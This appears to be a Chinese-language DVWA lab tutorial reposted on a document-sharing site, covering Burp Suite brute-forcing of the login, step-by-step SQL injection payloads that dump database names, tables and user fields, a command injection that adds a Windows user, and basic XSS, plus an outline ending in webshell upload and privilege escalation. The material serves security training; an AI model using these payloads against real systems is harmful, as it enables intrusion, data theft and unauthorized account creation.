1、DVWA测试1218zy暴力破解:使用burp suite代理,拦截dvwa登陆,抓取登陆信息右键选择send to intruder来到标签positions功能下点击 clear,去掉前后的符号,然后在用户名和密码的前后位置加上符号,点击add按钮即可特别注意,由于是暴力破解用户名和密码,所以要选择attack type为 cluster bomb:打打payloads标签并在下拉列框中选择runtime file :选择用户名文件和密码文件,没有的话,自己新建一个用户字典:由于是测试暴力破解工具,所以,字典文件内容要正确,否则是不成功的:在payload set下拉框中,选择1和runt
2、ime file,然后select file选择第一个参数的文件users.txt;选择2和runtime file,一再选择密码字典文件password.txt。 点击options,并打开标签“extrack”钩选extract the following items form responses复选框,然后点击“add”新一个响应包含的关键字index.php,因为登录成功为转到index.php,否则到login.php,成功与否返回长度相同,所以不能用传统的方式判断成功与否。点击intruder-start attack开始暴破查看破解结果:第8行为成功破解的结果SQL注入:登录之后
3、,将dvwa的安全级别调成low,low代表安全级别最低,存在较容易测试的漏洞。1、 找到SQlInjection选项,测试是否存在注入点,这里为用户交互表单查询的地方,这也是常见的SQL注入漏洞存在的地方。正常测试,输入1,可以得到如下结果:输入 后提示:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1(你的SQL语法有错误;检查对应于你的MySQL服务器版
4、本使用近1行正确的语法手册)2、 有了这样的提示后,我们可以尝试遍历数据库表,由于用户输入的值为ID,因此我们习惯判断这里的注入类型为数字型,因此尝试输入:1or1=1,看能否把数据库表中的内容遍历出来。可是结果如下,并没有显示出所有信息,如下图:我们可以猜测后台应用程序是否将这里的值定义为了字符,所以我们可以在尝试试用字符类型注入, 1or1=1 ,如下图:遍历出了数据库中的所有内容,如果是重要的数据库表,这样的结果已经对于攻击者有了足够的意思。3. 使用order by语句查询数据库列信息。“1order by 1 -“ ,“1order by 2 -”,“1order by 3 -”,依
5、次查看查询结果。1order by 3 时会提示没有这个列,这样我们可以得出查询结果只有2列4. 通过得到连接数据库账户信息、数据库名称、数据库版本信息。利用user(),及database(),version()等三个内置函数。这里尝试注入 “1 and 1=2 union select 1,2 -”结果如下得出的结果,first name处显示结果为查询第一列的值,surname为第二列,利用内置函数user(),及database(),version()注入得出连接数据库用户以及数据库名称:1and1=2unionselectuser(),database()-连接数据库的用户为root
6、localhost,数据库名称为dvwa,进一步利用函数version(),尝试得到版本信息,“1and1=2unionselectversion(),database()-”便得到了版本信息5. 获得操作系统信息1and 1=2 union select 1,global.version_compile_os from mysql.user -6. 查询mysql数据库,所有数据库名字:这里利用mysql默认的数据库infromation_scehma,该数据库存储了Mysql所有数据库和表的信息。 1 and 1=2 union select 1,schema_name from info
7、rmation_schema.schemata - 7. 猜解dvwa数据库中的表名。利用1andexists(select*from表名),此处表名猜解可以通过brupsuit挂字典猜解。这里测试的结果,表名为users,burpsuite如何自动注入,在稍后文章进一步介绍。这里猜解表名,在真实渗透测试环境中,攻击者往往关心存储管理员用户与密码信息的表。1andexists(select*fromusers)-8. 猜解字段名:1andexists(select表名fromusers)-,这里测试的字段名有first_name,last_name1 and exists(select fir
8、st_name from users) - 1 and exists(select last_name from users) -9. 爆出数据库中字段的内容:1and1=2unionselectfirst_name,last_namefromusers这里其实如果是存放管理员账户的表,那么用户名,密码信息字段就可以爆出来了。这里我们可以大致总结渗透的一般思路:1、寻找注入点,可以通过web扫描工具实现2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息
9、)4、可以通过获得的用户信息,寻找后台登录。5、利用后台或了解的进一步信息,上传webshell或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。在dvwa平台现有环境下,简单测试了mysql几个常用注入语句:1orderby2-/*用来猜解查询信息的列数1and1=2unionselectuser(),database(),-1and1=2unionselectuser(),version(),-/*利用user(),database(),version()函数获得数据库信息1and1=2unionselect1,global.version_compile_osfrommysql
10、.user-/*获得操作系统信息1andord(mid(user(),1,1)=114-/*测试连接数据库用户权限1and1=2unionselect1,schema_namefrominformation_schema.schemata-/*爆出所有数据库名称1andexists(select*fromusers)-/*猜解表名1andexists(selectfirst_namefromusers)-/猜解字段名1and1=2unionselectfirst_name,last_namefromusers-/*猜解字段内容命令注入漏洞:Dvwa中有Command Execution Vul
11、nerability 命令注入漏洞模块漏洞产生的原因:程序中因为某些功能需要执行系统命令,并通过网页传递参数到后台执行.然后最根本的原因是没有对输入框中的内容做代码过滤,正常情况下输入框只能接受指定类型的数据.命令注入漏洞可以使攻击者在受攻击的服务器上执行任意的命令.在命令模块中输入127.0.0.1&dir 可查看当前目录下的文件(针对windows).攻击方法: 我们可以把dir命令改为删除用户、添加用户、修改密码等windows命令。现在创建一个用户为xiaozhu 密码为Pssw0rd ,命令为:127.0.0.1&net user xiaozhu Pssw0rd /add现在去服务器上看看是否已经有xiaozhu这个用户了跨站脚本攻击:在XSS reflected中 输入alert(/xxx/)存储式跨站脚本攻击:在此登陆时就会有连接弹出如果想要阻止这个跨站,重新创建数据库即可!
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1